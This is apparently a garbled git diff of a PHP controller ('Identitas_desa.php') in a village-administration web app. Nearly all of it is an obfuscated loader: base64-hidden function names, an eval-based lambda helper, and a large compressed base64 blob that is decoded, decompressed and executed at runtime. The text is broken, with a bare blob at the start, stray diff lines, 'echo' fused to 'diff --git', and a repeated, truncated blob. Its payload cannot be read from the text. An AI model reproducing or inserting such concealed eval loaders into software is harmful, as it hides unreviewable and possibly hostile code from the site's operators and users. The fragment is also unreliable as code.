$_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Identitas_desa.php b/donjo-app/controllers/Identitas_desa.php index 829c1988c..61bd0a564 100644 --- a/donjo-app/controllers/Identitas_desa.php +++ b/donjo-app/controllers/Identitas_desa.php @@ -264,7 +264,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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